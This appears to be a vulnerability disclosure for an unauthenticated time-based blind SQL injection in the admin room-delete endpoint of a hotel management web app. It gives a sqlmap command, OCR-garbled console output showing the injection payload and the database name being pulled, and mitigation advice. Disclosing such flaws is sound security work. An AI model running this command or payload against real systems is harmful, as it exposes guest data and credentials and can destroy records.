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Vulnerability Report: Unauthenticated
SQL Injection in Hotel-Management-
System

0x01 Summary

Target: Hotel-Management-System

Vulnerability: Unauthenticated Time-based Blind SQL Injection

Vulnerable Parameter: id in /admin/roomdelete.php (and others)
CVSS Score: 9.8 (Critical)

0x02 Description
The administrative endpoint /admin/roomdelete.php does notimplement session
authentication. Furthermore, the id parameter is directly concatenated into the SQL

guery without any sanitization or parameterization, allowing remote attackers to execute
arbitrary SQL commands.

0x03 Proof of Concept (PoC)

Using sqlmap, the vulnerability can be verified with the following command:
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python sqlmap.py -u "http://[TARGET_IP]:[PORT]/admin/roomdelete.php?id=1" \
--technique=T --dbms=mysql --level=3 --risk=3 --batch --time-sec=5 --current-

B8 sqlmap-maste

) sqlmap.py - fA2750 9654 /admin/roomdelete.php?id=1" --technique=T --dbms L 5 =-risk=3ic=hatch. ——time-s -current-db

{1.9.7.15#dev}

https: //sqlmap.org

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all appli
cable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:47:57 /2026-04-02/

[22:47:58] [INFO]
got a 302 redirect to 'http://127.0.0.1:9654/admin/room.php'. Do you want to follow? [Y/n] Y
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=730aglv8@ns...9jr5qpqj7g'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: id=1 AND 2171=BENCHMARK(5000000,MD5(0x784a444f))

:47:58] [INFO] testing MySQL
:00] [INFO] confirming MySQL
:00] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
:48:02] [INFO]
web application technolegy: PHP 7.3.4, PHP, Nginx 1.15.11
back-end DBMS: MySQL = 5.0.0
[22:48:02] [INFO] fetching current database
[22:48:02] [INFO] retrieved: bluebirdhotel
current database: 'bluebirdhotel’
[22:48:37] [INFO] fetched data logged to text files under 'C:\Users\wacool\AppData\Local\sglmap\output\127.8.0.1"
[22:48:37] [WARNING] your sqlmap version is outdated

[*x] ending @ 22:48:37 /2026-04-02/

Analysis

The injection is a Time-based Blind SQLi. An attacker can exfiltrate the entire database,
including administrator credentials and sensitive guest information, or perform destructive
operations (e.g., deleting all rooms/records).

0x04 Mitigation

1. Authentication: Enforce session/role checks at the top of every PHP file in the
admin/ directory.

2. Prepared Statements: Use parameterized queries (e.g., PDO or MySQLi prepared
statements) to handle user input securely.
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